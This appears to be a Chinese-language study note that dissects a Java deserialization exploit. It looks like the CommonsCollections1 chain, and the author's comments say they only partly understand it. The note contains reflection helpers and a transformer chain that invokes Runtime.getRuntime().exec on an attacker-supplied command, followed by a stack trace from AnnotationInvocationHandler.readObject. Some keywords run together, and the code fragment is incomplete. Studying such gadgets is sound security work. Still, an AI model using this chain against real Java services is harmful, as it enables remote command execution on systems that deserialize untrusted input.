// 获取某个类的某一字段,也就是成员变量; // 这里因为使用的getDeclaredField()方法,所以除了父类的字段,别的(private、public、protocted)均能获取到 // 这一方法被后面两个方法调用 publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }
// 设置字段值 publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
// 获取字段值 publicstatic Object getFieldValue(final Object obj, final String fieldName)throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } // 获取声明的第一个构造函数 publicstatic Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; }
public InvocationHandler getObject(final String command)throws Exception { final String[] execArgs = new String[] { command }; // 对ChainedTransformer做初始化,主要是iTransformers字段赋值 // 但在代码的后半部分又将该字段替换成了真实的攻击链,其实我也不懂眼下这段话的意思 // 反正你直接拿真实的攻击链初始化ChainedTransformer对象也没问题 final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // 真实的攻击链 final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
"C:\Program Files\Java\jdk1.7.0_01\bin\java.exe" ... Connected to the target VM, address: '127.0.0.1:2922', transport: 'socket' Disconnected from the target VM, address: '127.0.0.1:2922', transport: 'socket' Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set at $Proxy0.entrySet(Unknown Source) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:346) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:601) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:991) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1866) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1771) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1347) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:369) at NormalHandler.main(NormalHandler.java:51)